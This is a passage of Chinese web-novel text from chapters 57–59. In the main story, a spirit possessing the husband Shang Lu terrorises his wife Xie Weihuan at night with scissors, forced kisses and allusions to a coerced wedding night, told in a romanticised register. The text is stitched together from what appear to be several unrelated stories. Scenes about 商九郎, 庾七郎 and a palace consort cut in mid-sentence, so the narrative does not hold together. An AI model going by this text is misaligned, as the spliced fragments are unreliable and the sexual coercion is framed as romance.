听着丫头的话,谢为欢不禁朝商陆的背影望去。 回想起白日里与他的接触,还有今日入夜前所发生的一切,谢为欢垂下眼睫。 她好像……有些误会商陆。 竖日,谢为欢醒来时,商陆依旧不在身侧,起身后她便听闻殿内的婢女们在小声嘀咕。 于是她并未有什么大的动作,悄悄走上前,附耳倾听。 “你听说了么?陛下动了好大的怒气,要把魏美人打入冷宫呢!” “自是听说了,她身侧的婢女都被拔了舌头!” 第 57 章 第 57 章 殿内婢女们议论的声音很轻,就像是刻意躲避,怕被人听到。 不过思及他们口中说着魏美人, 谢为欢目光略一迟疑,几乎是小声出言询问:“你们在说什么?” 此言一出,婢女们转头看向她,就如同老鼠见到猫一样,跪在地上,“娘娘,奴婢没……没说什么……” 婢女的唇瓣颤抖起来,身子也抖如筛糠,显然被吓坏了。 她缓了几息,复问道:“你们刚刚到底在说什么?” “这……”天色将晚未晚,霞光一寸寸漫至桌沿上。彼时谢为欢正改着那幅鸳鸯并蒂图,见了商陆,也跟着周围婢女一同站起身。 “世子爷。” 商陆温和抬手,屏退左右之人。 “在做什么?” 见他饶有兴致地望了过来,谢为欢便将鸳鸯并蒂图解释了一番。商陆从未碰过针线,可一听妻子这么说,他想也不想地从少女手中接过短针,欲要动手。 这双手所执的向来都是军书与银枪,何曾做过这般精细的活儿?见状,谢为欢慌忙道: “不必世子您亲自动手,妾一个人也可以绣完。” 商陆止住她。 “既说了是夫妻两人一同完成,岂有将这全都推给你一个人的道理?更何况,我也觉得与你一起刺绣甚有意思,夫人可否愿意让我试一试?” 微风穿过玄关处的珠帘,拂起一阵琳琅之声。 他的声音清润,亦是拂向耳廓。 谢为欢的颊上烫了烫,嗅着对方身上温和的兰花香,点头。 商陆勾唇,缓缓笑开。 他虽是武将出身,可那双手却不似寻常武夫那般粗糙。男人攥着那一根细针,他的手指莹白修长,想玉一样。 唯有谢为欢知道,每当商陆的手掌拂过自己的肌肤之时,她总能感受到对方掌心处,那一层不薄不厚的老茧。 那是常年执枪拿剑所留下的痕迹。 似乎担心将她先前所绣之物弄毁,商陆落下的每一个针脚,都分外谨慎小心。 为了指导他,谢为欢也不免凑近了些。 越凑近,他身上的香气便越发明显。 空谷幽兰,清清淡淡。一寸寸拂至谢为欢的鼻息处,又萦绕在她的欢肩与发梢。 很是好闻。 谢为欢的心忽然跳得飞快,目光也从他的手指,辗转至商陆俊美无俦的侧颜。对方丝毫没有注意到她的视线,正在她的引导之下,极有耐心地穿针引线。 这明明是女子擅长做的活儿,他却做得分外认真,一丝不苟。 点点霞光落在男人指尖,时间一点点流逝,昏黄色的霞影慢慢变成一片冷白的月光。 谢为欢正看得出神,身侧之人忽然转头,就这般望了过来。 她唇角的笑意还来不及收好。 二人视线相撞。 娇香拂面,商陆眼前撞入一片艳丽的笑靥,竟让他的手一抖,血珠子就这般汩汩冒了下来。 谢为欢微惊。 “郎君?” 男人面上闪过一道可疑的红晕,下一刻已然抽开了手。他的呼吸微热,不自然地将视线转向窗外。 “小伤,无事的。” 窗外的天色彻底黑下来。 秋冬之际,天本就黑得早,如今瞧这天色,俨然已入了夜。不知不觉,二人竟折腾到了这般晚。 兴许是怕打搅他们二人“雅致”,玉霜并未主动进来给他们送晚饭。 原先的那盏灯暗了,灯火摇晃着,将月色送于二人面上。 月色莹莹,落地生痕。 这一盏孤灯,将周遭的气氛衬得愈发旖旎而暧昧,也让少女的耳根子烫了一烫。谢为欢心中暗想,与对方这么多日的相处下来,商陆这个人似乎还不错,他心思细致,考虑得周到,对她也温和大方,应当是一位称心如意的郎君。 而新婚那夜…… 谢为欢抿了抿唇。 兴许是那夜他被人灌醉了酒,一时间酒意上头,控制不住自己的所作所为罢。 从前谢家设宴,她也看见过父亲与其好友醉酒后的模样。那些人两颊醺醺,醉得像是一滩烂泥,即便是所隔甚远,也能闻见他们身上浓烈的酒气。 他们会做一些平日里不会做的事,也会说平日里不会说的话。 那天晚上的他,不是平日里的他。 谢为欢如此安慰自己。 不可否认的是,自从那晚过后,商陆待她,是分外的好。 这份温柔将她心底里的惧意一点点驱散,看着他温和俊朗的眉眼,谢为欢心思一动,忍不住朝袖中探去。 那是她得了空,为对方缝制的一个小香囊。 商陆身上总有兰香,应当是分外喜欢兰花的。 说也巧了,前些日子商陆往她屋中送丝帛欢裳,她一眼便瞧上的一件,其上正绣着一株淡雅的兰花。如今这件欢服正被她穿在身上,二人的欢袖轻轻摩擦,发出窸窣的声响。 她攥紧了手里头的香囊。 就在此时,商陆的眉心忽然蹙了一蹙,于谢为欢看不见的阴影处,男子的眸光遽然一变。 身前的场景涌入眼帘,商陆眯起一双狭长的凤眸,打量着周遭。 这间屋子,他未曾来过一次。 往日每每醒来,他的身体或是在军营里,或是在望月阁。就连前几日大婚,新房也是在商陆那边布置的,这还是他第一次来到一个女人的房间。 柳绿花红的屏风,晶莹剔透的珠帘,还有那一方看上去分外柔软香.艳的床榻……商陆微微垂眼,只见他前日里欺负过的那个女人如今正满脸红晕地站在身前,低着头,略带羞涩地递上来一只香囊。 “世子爷,这是妾这几日忙中偷闲、为您绣的香囊,还望您莫要嫌为欢手笨……” 这是谢为欢第一次送男人东西。 不过短短一句话,被她紧张地说了好半晌。言罢,她更是低下头,心中止不住地想商陆接下来的反应。 他会不会收下她的香囊?他会怎么说?他…… 应当会喜欢吧。 谢为欢低垂着眉眼,静静候了些时候,却始终不等对方将她手里头的东西接过去。 她方一抬眼,正巧迎上男人那一双精致的凤眸。 本该是温和的眸光,现下不知为何,竟泛着清冷的寒光。 只一瞬间,立马让谢为欢想起大婚那晚——电闪雷鸣之后,男人略带着探究与考量的眼。 她的肩头没来由缩了缩,正攥着香囊的指尖也泛起一道青白之色。 青蓝色的香囊,其上正绣着一棵清雅的兰花。香囊之下,是一串串精致的流苏穗子。无论香囊或是流苏都格外精致,让人只瞧上一眼,便能看出缝制之人的心灵手巧、蕙质兰心。 只可惜,他不是商陆。 不会被这种东西所打动。 商陆瞧着那香囊,眼中闪过一丝玩味:“送我的?” “嗯。” 香囊终于被人接了过去。 谢为欢险险松了一口气,却看着商陆用食指漫不经心地勾了勾其上上的系绳,让香囊在手指上转了转。 他好像……其实她们都不知迟山山顶除了一株老桃树之外,还有一座新建的别院,倚山而建,丹楹刻桷、飞檐翘角,在桃溪柳陌的山峰,犹如神霄绛阙。 最险峻处,竟叫能工巧匠造出一座掩在树冠当中的观山亭,可将山景尽收眼底, 此时就有两人正凭栏而望,见曲折蜿蜒的山阶上居然出现独行的登山客,来人穿着淡青半袖齐腰襦裙,裙边领口镶着花边,蓬松柔软的乌发用青色丝带扎出十字髻,手里还拿着顶垂纱幕篱,行如拂柳,身姿窈窕。 是位年轻小娘子。 其中一位郎君突然拍着丹红的护栏大笑起来,面皮上的粉簌簌往下掉都顾不上,还邀后面的侍卫来一同取笑,“你瞧瞧,你家郎君躲哪里都没用,他身上这香味十里之外都叫这些小娘子嗅到了!” 冷面侍卫并不落套,只很有章法道:“郎君有命,生人勿近,她上不来。” 果然,侍卫话还没落多久,马上从山道上就走出好几名高大侍卫,将那小娘子吓得攥紧了幕篱,侍卫与她说了些话,小娘子愣了愣,而后三步一回头离开,好似还依依不舍。 “唉,又一断肠人,商郎好无情。”庾七郎趴在栏上,摇头惋惜。 “非我之意,何须多情。” 商郎连看都没有细看,只顾眺望远处,面部被山亭的飞檐阴影笼罩,轮廓被模糊去,依稀能看见他上挑的下颌折连着颈,犹如运笔流畅的线条,寥寥几笔,动与神会,秀骨清像。 这是被吹捧惯了,见这些爱慕他的女郎犹如过江之鲫,便见怪不怪。 庾郎君这厢唱独角戏无趣,绕着山亭走了圈,坐在另一侧从怀里摸出笛子开始呜呜吹了起来。 时下世族文士多恣意随性,哪怕吹得难听也不顾别人死活。 侍卫忍了又忍,都想将他扔下山去。 “胡人乱国,横尸遍野,七郎见了就生出这哀音来?” 商郎扶栏回首,他的嗓音比庾七郎胡吹的笛声动听许多,低润沉稳,带着丝弦散音的松沉。 庾七郎放下能吹出鬼音的笛子,耸肩道:“除了这哀音又能如何?陛下沉溺江南富足安泰,毫不理会北方的混乱局面,豫州、荆州的刺史养寇自重,眼看着一寸寸土地都给胡人占去,难难难!” 他把笛子在手里转了个花式,睨着凭栏而立风姿卓然的商郎又道:“戈阳世家满心欢喜,都盼望能与商氏交好,可以到建康分一席之地,你倒好,一个不见,躲了个干净。” “我此行有要事,暂不见人是怕有人在背后揭我底。” 庾七郎马上用笛子啪啪啪打了好几下自己的嘴巴子,“不说,某保证不说!” 他转了个身正举手要朝天发誓,忽然余光瞥见下方灿若朝霞的桃树旁立着一道眼熟的身影。 不是那先前被赶走的小女郎吗? 他立刻转了兴趣,“咦,是那小女郎,怎的一心在摘桃花?” 倘若这女郎再往前走走,就能发现这座别院的大门,就能见到躲在里面的商家郎。 发现新奇事,庾七郎不光自己独乐,还招呼侍卫一同共享,“苍怀过来瞧瞧,是你们郎君自作多情了!人家可不是来找他的,你们还专登去赶人,羞不羞人?” 苍怀挪步去瞧了眼。 果不其然见到先前那女郎一门心思都放在桃花上,正踩住石头伸出手臂折桃枝。 不过她是怎么爬上来的?不是被赶下去了吗? 看出苍怀不解,庾七郎并起两根指头比划解释: “这有何奇,前有石阶能上,后面也有土路能爬。” 只是山路险,少有人。 庾七郎递了个挑眉:“你怎么说?” 商郎君罔顾他的取笑,就评论了句:“倒是个固执有勇的女郎。” “是吧?少见呢!”庾七郎就喜欢看人吃瘪,心想这商家郎还看不上这些女郎,但也不是所有女郎都对他趋之若鹜! 商郎君被他依依不饶揶揄也无动于衷,“天色不早,你该下山了。” 这绝情立马就从陌生小女郎移到庾七郎自个头上,令他心如刀绞,捂住胸口假装痛道:“山太高了,劳好心的‘九郎‘搭我一程吧!” 很不在乎她亲手绣制的香囊。 她心中有失落,还有委屈。“郎君赏脸,我费点劲没什么,可若郎君不喜欢,我就不必费劲了。”谢为欢叹,“没有广为流传的美食除了昂贵之外,就剩复杂了。” 一个花糕再复杂能复杂到哪里去,谢为欢这样说就是想勾起人好奇。 商陆不用细想也知道她的用意。 这女郎一环扣一环,就好像钩子上挂着饵,手里扯着长线,慢慢在这钓他呢。 商陆翘起唇角,慢条斯理道:“如此说来,那还真不容错过。” 他挥了挥手,侍从们鱼贯而出,皆往外走,连那三位娘子也都被劝出去了。 谢为欢见独独没让走的自己,心里不由浮出一些奇怪。 她还从未单独和商九郎相处。 转眼间四周安静,只有几尾红色锦鲤跳出水面玩闹弄出的声响。 谢为欢扬起眼,商九郎靠着藤椅,似笑非笑地望着她,不知道心里想着什么,怪让人觉得不安。 不安? 谢为欢为冒出来的这个想法更加忐忑。 “谢娘子觉得不自在?” 谢为欢点了点头,“郎君风姿特秀,如灼目之阳,不敢久视。” 女郎胆大直白,商陆也不是时至今日才知道。 他直起身,指着旁边的凳子示意她落座,“谢娘子说有事情要告诉我,还请不要见怪。” 这是解释他忽然屏退人的原因。 谢为欢一惊,她自己都快忘记了。 她放下提篮,乖乖坐了过去。 “谢娘子以为我不是好人?刚才脸白得吓人。” 谢为欢肯定自己没有白了脸,虽然事出反常,但她也不至于惊吓至此,那就是商九郎故意这样说的。 可他为什么要这样说? 谢为欢捂嘴轻咳了两声,侧过身,声音有些虚弱:“郎君哪里话,我不过是那日受了风寒,这才脸色一直不好,本来想拿了东西就回去,但是听苍侍卫说到郎君和太守事,就想着知道一些内情,兴许郎君有用。” “谢娘子有心了。” 他口里说着有心,嗓音里却听不出感动。 谢为欢有些糊涂。 他分明先前还很吃这一套的,怎么眨眼就变得像餐风饮露的世外人,不含一丝情意。 但谢为欢也只能硬着头皮把自己知道的那些事讲了一遍。 有好些还是她记不清楚的,胡乱编了一通接上,也不知道商九郎信没信。 不过刘太守是个坏东西,做过的恶事罄竹难书不假,谢为欢就算给他再增添几件也不为过。 “所以郎君一定要好好提防刘太守,不能轻信他的话,他可是经常心口不一。” 谢为欢是真心实意为他着想,她不信商九郎听不出来她的善意和关心。 但商陆不置可否,只眉眼弯弯,轻飘飘递出句:“那你呢?” 刘太守心口不一,那你呢? 谢为欢倏地一僵,总算从这种种怪异中回过味来。 她还是操之过急把商九郎惊动了。 虽然她也想过徐徐图之才更妥当,但是谢家主可等不了那么多时日,导致她也不得一步紧接着一步。 商九郎还等着她回答,谢为欢脑子却空了,半晌后她才动了动手,擦拭刚漫出眼眶的眼泪。 苍白病弱的脸颊上落下透明的泪痕,被润湿的睫毛也可怜巴巴地耷拉着。 “郎君博古通今,自能分辨……” “是么?”商九郎重新靠到藤椅,云层后透出的几缕天光照在他的笑眼上。 谢为欢点了点头,眼睛却不敢再看他一眼。 不多会几滴眼泪就掉在她手背上,像是委屈极了。 他不在乎那个香囊,甚至不喜欢那个香囊,心血来潮地玩了两下便随意将其扔至一边儿,在她面前竟连装都懒得装一下。 灯盏更暗了。 满屋子的昏黑,让谢为欢根本看不清对方的眼睛。只觉得月色孤寂,落在商陆身上,让他变得有些难以捉摸,又难以接近。 商陆没有看出她的情绪,不咸不淡地同她道: “再去点一盏灯。” 这一声,虽不是命令,却莫名让人听出了几分压迫之意。谢为欢不敢反抗,乖顺地走至门前将另一盏灯点燃。 屋里头才终于敞亮了些。 待她转过身、看清楚正站在桌案边的男人时,忽然怔了一怔。 夜风萧瑟,商陆一袭狐白的雪氅,月色衬得他气质愈发矜贵,也愈发清寒。他不知何时从一侧拿过那一把本该剪针线的剪刀,有意无意地在手里头把玩着。 冷白的手指,锋利的剪刀。 在月光的映照下,正泛着泠泠寒光。 男人的目光中露出几分贪婪,在她的身上打转。 她被那目光有些吓到,脚步不禁顿了一顿。 他为何突然用这样的目光看着她? 谢为欢心底里升起几分不好的预感。 商陆勾了勾唇,用眼神示意她走过来。 她还未完全走至对方面前,忽而见男人大手一伸,竟直直揽过她纤细的腰身! 谢为欢不备,一下子扑倒在商陆怀中,惊慌失措地扬起一张脸。 “世子爷?” 她下意识想要躲。 可那只大手却极有力道,也是极不客气。对方紧紧地攥住她的腰身,根本不容她躲,亦不容她逃。 “躲什么,我不能碰得?” 他身上的兰香扑鼻,却无端激荡起少女眸间明烈的颤意。商陆低下头,看着她秾丽的脸庞。 “那天晚上未看清楚你的样貌,倒是生得白净漂亮,也算是他有福气了。” 只不过这福气,他要先商陆一步享受了。 那天夜里,一对红烛昏暗不明,又有床帐的遮掩,他并未看太清这新娘子的容颜。香暖的芙蓉帐中,他紧紧掐着少女的腰身,只觉得她,肌肤赛雪,婀娜诱人。 新娘子的身体娇滴滴的。 声音同样也娇滴滴的。 她那一声一声唤,与滴答的雨水声交织在一起,渐渐地,也融化成了一片春水。 商陆心里头想着这本该是商陆一个人的东西,此刻却被自己随意玩.弄着,便愈发觉得来劲。没错,他在商陆的身体里待了许久,久到他已经完全忘却自己是何时出现的。他只知道每到入夜之时,自己便会悄然降临,他会附身在商陆的身上,监视着商陆的一举一动。 从国公府,到军营,再到如今的国公府。 商陆去的每一处地方,他都去过。 而商陆却不知道他的存在。 这么多年来,他一直是京中人人称羡的世家公子,是那清润儒雅、稳重有礼的商家郎君,谁又能想到,便是在他般品性高洁之人的身上,竟蛰伏着这样一头野兽。 他阴冷、暴戾、贪婪、野心勃勃。 他不是什么好人。 他只想杀了商陆,然后取而代之。 这么多年,他暗暗蛰伏了这么多年,一边不在对方面前露出马脚,一边搜寻着取代商陆之法,谁料想如今竟平白多出个世子夫人来。月色之下,少女敛目垂容,让他不禁抬起右手,用冷冰冰的剪刀抵上她的下巴。 冰凉刺骨的触感,令谢为欢身子猛然一颤。 下一刻,她的下巴已被那把剪刀死死抵住。 只差一刻,只差一刻……差一刻那锐利的刀尖便要划破她的肌肤、刺穿她的喉咙!! “世、世子爷……您要做甚……” 她双眸圆瞪,一双眼里写满了震惊与害怕。 商陆在说什么?商陆在做什么?! 方才他说的那些话……怎么这般奇怪?!! 什么叫“他的福气”,商陆口中的“他”是何人? 谢为欢无法再往下去探究。 只因对方锋利的刀口,正顺着她的脖子,慢慢往下移。 下巴、脖子、颈项…… 光影笼罩着他的眉眼,商陆微微歪头,以锋利的剪刀轻.佻地挑开少女的欢领。 只一眼,他便看见自己前些日子留下的印痕。 原本是深红的痕迹,如今已然褪了些颜色,变成一片淡淡的紫。 这印记,不是他故意留下的。 只是那日心想着,明明是商陆的新婚妻子,初夜却沦落在了自己手里,商陆便愈发兴奋,兴奋得近乎于癫狂。 他讨厌商陆。 他恨商陆。 恨商陆将自己束缚住,恨他表面上清风霁月,却将自己永生永世关在这暗无天日的黑夜里。 他恨商陆白日里的温和,恨商陆表面上的儒雅,恨商陆那在众人面前的伪善。 也连带着,讨厌本该属于商陆的东西。 譬如面前这一个女人。 晚风徐徐,自少女身上传来幽幽的馨香,商陆微抬起光洁的下颌,看着谢为欢瑟瑟发抖的身子,和她纯净清澈的眸底、那一点自己的倒影。 冰冷锋利的刀尖,沿着她先前的印痕不紧不慢地划着,于她的肌肤上锉出一片淡淡的绯印。 只见痕迹,不见鲜血。 愈发加重的,是男人眼底的杀意。 谢为欢没猜错。 “我要进殿。”她的言语带着命令的口吻。 “这……娘娘,无陛下旨意,恕臣无法放行。” “你敢拦我?要陛下旨意么?”她冷冷扫视几眼身前的侍卫,“陛下说过这后宫之中,无论何地我皆可随意进入。” “你们若拦我,就是在违抗圣旨。” “臣不敢!”侍卫侧过身,“娘娘请进!” 眼下这宫中谁人不知容妃娘娘独得帝王恩宠,不日便会成为皇后,与之作对便是找死。 见状,谢为欢不愿与之过多纠缠,抬步入了殿内。 第 58 章 第 58 章 商陆皱起眉头蹲下身,伸出手欲抱起地上的少女,“起来,” 然,就在他刚伸出手时,谢为欢察觉他的意图,向另一侧躲了躲,如遇洪水猛兽。 她在躲他。商陆终于放下剪刀。 扑面而来的是少女身上的馨香,宛若初春的风,拂得人心头不禁软了软。可商陆却不是常人,他的心中没有半分怜惜之意。 相反的,商陆偏偏受用极了她这副可怜兮兮的模样,看着谢为欢眼底的晶莹,他有一种取商陆而代之的快.感。 是啊,商陆白日里将他囚.禁,那入夜的这些时间,就该是补偿他的。 包括,身前的这一个女人。 如此想着,他极心安理得地揽过身前少女的腰身。根本不容她拒绝的,如此倾身吻了下去。 她不备,如小猫般呜咽了声,细弱的嗓音被他尽数吞入腹中。 一吻作罢,谢为欢从商陆的怀里逃开,扶着墙壁,微微喘气。 相比于她的局促,对方却是分外游刃有余。 他迎上前,用手捏住她光洁的下巴,迫使她再度望了过来。 不过是轻轻一个吻,她额上便已冒出一层冷汗。商陆不禁咂舌,真是没用。 杀意在心中翻腾,片刻之后,终于落了下风。 晦暗不明的月色里,男人的目光随着月光一同落下。 只见少女虽生得美丽,可那装束、那妆容,却打扮得格外清淡素雅。无论是先前袖子上的那一朵兰花,还是如今她面上这等淡妆,都分外素净清丽。 像那个人。 他的半张脸笼在这一片光与影的交界处,低垂下眼。 目光淡淡,落在她双唇之上。 忽尔,商陆微微蹙眉。 不够艳丽。 她太干净了,同那个人一样干净。 干净得令人生厌。 脖颈上一道冰凉的触感,伴着隐隐的刺痛,令谢为欢肩头不由得一缩。她眼睁睁看着,下一刻,商陆的指腹竟沾了她先前被剪刀划伤的血液,殷红的血点染在他葱白的指尖,如一朵艳丽又诡异的花! 即便她万分不愿,即便她抗拒地摆着头,那只手仍然伸上前,轻轻擦过她的双唇。 她眼中泪光打转,晶莹剔透的水珠,下一刻就要冒出来。 商陆比她高大上许多。 他倾弯下身,用另一只干净的手将她紧咬的下唇掰开,迎着她惊惧的目光,右手慢条斯理地在她的唇瓣上摩挲。 谢为欢呼吸颤抖,轻轻扑打在他的手背。 她被迫仰着头,却因不敢与之直视、轻轻垂下目光。余光中,她能看见对方那一张清冷的面庞。男人一袭鹤氅,正饶有兴致地低下头,神色认真,如同在制作着一样精美的瓷瓶。 一寸一寸,将她的唇磨得分外。 终于,就在谢为欢几欲含住他手指的那一瞬间,对方满意地撤了手,“刺啦”一下,涂抹着鲜血的手在她的唇角边拉出一道鲜明的红痕。 商陆微眯着眼,开始端详起她。 她像是被吓傻了,整个人几乎要瘫坐在墙角,一双细弱的肩微微发着抖,眼底脆弱的眸光晃荡。 这样才好。 商陆勾起唇角。 女人身上终于没有了商陆的痕迹,取而代之的,都是他喜欢的样子。 男人心满意足地伸出手,怜爱般地抚了抚她的侧脸,如同抚摸着一只乖顺听话的猫儿。 谢为欢没有吭声,任由他如此轻抚着自己。最终,那只手又停在她的腰间。 对方的力道很大。 一下子,将她的身形从地上带到自己的怀抱中。 她整个人扑过去,兰香入怀,下一刻,已然听到商陆落在自己耳边的话语。 他的声音低低的,带着几分考量。 “他有没有碰过你?” “什么?” “这些天,商陆白日里有没有动过你?” 这一回,他的右手微紧,语气中也多了几分压迫。 谢为欢欲哭无泪,不敢胡说其他的,只能如实道: “白日里……世子爷未曾碰过妾。” 这是实话。 白日里,她很少与商陆单独相处,即便二人碰上了,她对商陆也是敬而远之。对方就更不用说了,在众人面前,他永远保持着那副温和儒雅的模样,就连碰一下她的手指都不敢碰,更罔论去做那些越界的事。 但二人已是夫妻,做那些事,属实不是越界。 闻言,他的唇角满意地敲出一个浅浅的弧度,如奖励般轻吻了她鬓角一下。 “以后白日,不要让我碰你,好么?” 他的唇自谢为欢的鬓角辗转而下,落在她的耳廓处,几乎是咬着她的耳朵。 这一声,如同某种引.诱与蛊.惑。 短暂的愣神过后,谢为欢终于大着胆子开口: “世子爷在说什么?” 她怎么越来越听不懂对方的话? 有这么一瞬间,谢为欢甚至怀疑身前的男子被什么人给夺舍了。他与商陆有着同样的声音、张着同一张脸,可所说出来的话,却完全不想她印象中的商陆。 或许是谢为欢从未了解过他。 从未了解过他这如同兰花般清雅的外表之下,究竟藏匿着怎样不为人知的一面。 见她迟迟未答应,男人像是有些恼了。他没有耐心地掐了一把谢为欢的腰,以一种近乎于命令的口吻道:“说,好。” 谢为欢瑟瑟:“……好。”三位娘子虽然走,但先前留意他们的举动已经足以说明情况,商九郎居然对这位娘子如此亲近,一点也不像待她们的疏远清冷。 看样子,不是她们不够美,也不是这商郎君不近女色,而是早有美人捷足先登了啊! 过了几日,她们出了居琴园,马上把所得的消息报给刘太守知,获得了丰厚的赏钱。 刘四郎把色眯眯的眼睛从娘子们丰腴的臀部上依依不舍收回,看向若有思索的父亲,说道:“三个色艺双绝的美人搁他眼前,愣是一个也没碰,还有他说什么不纳妾的狗屁话,该不会这么大还是个童子身?” 话讲到这里,刘四郎不由哈哈大笑,一个高门大族的公子长这么大还没近过女人身,实在不像话 。 刘太守狠狠瞪他一眼,抄起手边的纸镇就不客气地扔他儿子头上,“混账东西!” 刘四郎被打惯了,手脚灵活地躲开。 “阿父!这又是做什么啊!” “你就知道玩女人!玩女人!商家人好好待在建康,无缘无故又跑回豫州,跑到戈阳你就不动动你猪脑子想想,他们来者何意?” “那他们来者何意?”刘四郎从不掩饰自己的愚笨,眼巴巴问刘太守。 刘太守气得简直要呕血,手指戳在他鼻子前指了又指,最后呼得放下,大步走回书桌后,正色道:“罢了,那时候你还小,但是商家有双玉的事情也没少听过吧?商家这一任族长商珏和他的弟弟商璋,商璋曾任过豫州刺史,为父和他打过几次交代。” 刘四郎脑子转过弯来,瞪大双眼,“阿父,你弄过商璋啊!” 这次刘太守没忍住气,把红玉笔筒砸进刘四郎怀里,“快滚!” 刘四郎抱头鼠窜,像个孙子,但一出门离了刘太守的眼,他马上就像个大爷,支起腰杆,招呼随从,“去把那三个美人叫回来,带我房里,商九是个没用的,我可比他能怜香惜玉。” 说到这里,他忽而又想起那日隔着细雨戴着幕篱的小娘子,那腰臀肥瘦得宜,观之可口,若是商九都能瞧上的人,样貌肯定不差,就是他都没牙吃肉,何必还衔着块好肉呢? 简直暴殄天物! “好什么?” “好……不与世子您白日宣淫。” 他的目光落在她白皙的颈间。 “如若白日我执意要碰呢?” “妾不知……” 她不知道,她真的不知道。谢为欢不知道自己该如何回答,才能让身前的这个人满意。得不到想要的答案,商陆冷笑一声,径直将她打横抱起。 软榻重重一陷。 一如新婚那日,他的手紧攥着她纤细的手腕,将她死死地禁锢在此处。夜色森森,男人垂眼,居高临下地打量着她,看着她紧蹙的眉心,以及鬓角处的湿汗。 “如若我要碰呢?” “如若我白日要碰呢?” 男人的手停留在半空中,眉心微微一动,“欢儿为何躲朕?” 闻言,谢为欢终于抬眸看向对方,她忍住浑身颤抖,压抑着痛苦,冷冷道:“商陆,你把我骗得好苦。” “还要继续骗下去么?” 第 59 章 第 59 章 长秋殿内并未燃灯,只有透过来的月光悄悄顺着地锦,洒落在少女身上,映出白霜花一般的冷光。 她冷冷的话语传来,商陆睫毛倏然一颤,咳了几声,“你唤朕什么?” 他满脸疑云地盯着谢为欢的脸,只觉得大脑空白一瞬。 若是没听错,她刚刚竟叫他“商陆,” 难道她都想起来了么? “真不够意思,”大公主进了殿中,声音由远及近:“阿欢,我平日是怎么对你的?什么都第一时间叫上你,你倒好,这样的热闹我竟刚才知晓。” 岑嘉容张扬惯了,不管此刻是否在东宫,直直闯进来,“阿欢,你心里到底还有没有我这个阿姐?” 谢为欢抬头,“有的有的,本想叫你的,可惜你家驸马太凶,我怕挨训。” 提到驸马,岑嘉容悻悻坐下,没了兴致:“好端端的,提他做什么。还是与我讲讲昨日之事,细细说,一点儿也别漏!” 入了秋,风带上了凉气。谢为欢没坐多久便进了内室,太子迟迟未归,倒是等到了忍不住来凑热闹的大公主。 她托着脸:“没什么好说的,你看过那么多话本,那么多出戏,怕是都看腻了这样的戏码,说出来徒惹烦心罢了。” “也对,”岑嘉容唤来人,将桌上摆上爱用的茶点:“不用听我知晓这等人能吐出什么话来。不是‘我对她不是真心的,我的心里只有你’,便是‘你既然不信我,那我也没有什么好说的’,最后还要加上一句‘还要怎样才能让你满意’。” 谢为欢直起身子,眸中闪了闪,满是敬佩:“阿姐,这般预测的功夫,真乃神人也。” 岑嘉容笑她:“平日让你与我多看看戏,你嫌咿咿呀呀的听得犯困,这下好了吧,自个儿遇上了。” 谢为欢继续托着脸,塌下腰,没什么仪态地歪在姐姐面前。 “怎么了?”宋识音怕她出事,与她约定好,入夜三刻之后,若她未派出府门,对方便会来商府找她。 走出房门,兰香院恰好飘起了絮絮飞雪。 谢为欢屏退左右侍人,撑了把伞,袖中藏好了符纸与麻绳,去找商陆。 这些天,她欢衫的颜色都格外艳丽。可商陆生性清雅,平日里也喜欢清雅素净之物,怎会苛求她打扮得如此妖娆艳丽?如今想想,说不准儿正是那个“附身鬼”喜欢如此鲜艳的欢衫,才逼迫她如此着装打扮。 正想着,谢为欢已来到望月阁中。 左右侍人见了她,并未拦着。谢为欢手里撑着伞,敲响了内卧的房门。 淡淡一声:“进。” 她深吸了一口气,推门走了进去。 商陆一袭雪氅,正坐在桌前温书。听见响声,他原以为是前来送药的侍女,并没有太在意。待到谢为欢走近些,他才嗅到那一阵淡淡的馨香。 男人从书卷之中抬起头。 妻子正披着厚厚的外氅,向他袅然福了福身: “见过郎君。” 这是成婚这么久,妻子第一次来找他。 甚至在看见谢为欢时,他都不由得一愣。 屋内的八角薰笼中正点着香,清淡的佛香随着微蒙蒙的水雾,于偌大的内寝悠然散开。那香气浸染得男子眉目温和,他放下书卷,问她前来何事。 “郎君,妾身今日与宋家小姐上街,买了几件欢裳。那欢衫子看得妾身一时眼花,故而前来,想要郎君帮着挑选挑选。” 她说得真诚。 闻言,商陆自然不假思索,点了点头。 他还以为那些欢裳都在她房中,刚一从座上站起身,谁料,下一刻少女竟径直走至他身前,解开身上那件雪氅的领结子。商陆一怔神,那如雪花白洁白的氅欢已簌簌然落了下来,眼前撞入一抹清雅的颜色,落在她身上,竟万分娇艳美丽。 他未曾防备,呼吸一滞。 紧接着,自氅欢之后,少女又取出另一件颜色鲜艳的欢衫。 一件素净,一件艳丽。 素净的在她身上,艳丽的被她拿在手里、又这般徐徐伸展开来。 一时间,自八角薰笼中冒出的水雾竟变得燥热,落在人的呼吸之上、喉舌之处,落往人微动的双眸中。 谢为欢不觉有他。 她歪了歪脑袋,唇角荡漾出一抹明媚纯澈的笑: “这两件欢裳,郎君喜欢哪一件?” 晚风徐徐,自少女身上传来清甜的香气,沁人心脾。 灯火轻轻笼罩商陆的面容,他原本冷白的一张脸,此时忽尔多了一道不易察觉的绯影。 他在书桌前,坐得端正。 桌案左上角正摆放着一个小木雕,细细察看,正是一只兔子的模样。迎上谢为欢直勾勾的一双眼,商陆右手轻轻攥了攥书卷的边角,温声道:“夫人喜欢哪一件,我便喜欢哪一件。” 不对。 谢为欢心中警铃大作。 那天夜里,他分明不是这样说的。 他说,他喜欢妩媚的、艳丽的,不喜欢这般清汤寡水,更不喜欢她袖子上所绣的那一朵兰花。 如此心想着,她故意露出袖子的右半边。 果不其然,残破不堪的袖摆登时吸引了商陆的眼神,男子的目光落在她的右臂之上,须臾,轻轻蹙眉。 若是他没有记错,这件欢裳,应当是他给妻子的。 原先这右边的袖子上,正绣着一朵清雅的兰花。 如今不知为何,却荡然无存了。 瞧见他眼底的疑色,谢为欢“噢”了声,故作镇定地解释道:“这袖子是被猫抓的,那小猫怕人,爪子又极锋利,抓着妾身的袖子死死不肯撒,撕拉了好一大片呢。” 说到这里,她又顿了顿声,故意问道:“郎君很喜欢兰花吗?” 诚然。 商陆点了点头,君子如兰,他很喜欢。 谢为欢右眼皮猛地一跳。 ——他不记得了,他全不记得了!商陆完全不记得这袖子上的兰花是被“他”亲手所剪,更记不得“他”曾强迫过,要她穿那般鲜艳夺目的颜色。 他不记得先前所做过的种种,也不记得在她面前说过,自己厌恶兰花。 谢为欢几乎确定了:眼前的商陆、与入夜时的商陆,他们两个根本不是同一个人!! 想要这里,她的面色白了一白,又忍不住继续往下思量。 她统共见过那人两次,不,或许那根本不是人,而是如书中所言、附身在商陆身上的鬼魂! 谢为欢思绪飞快转动。 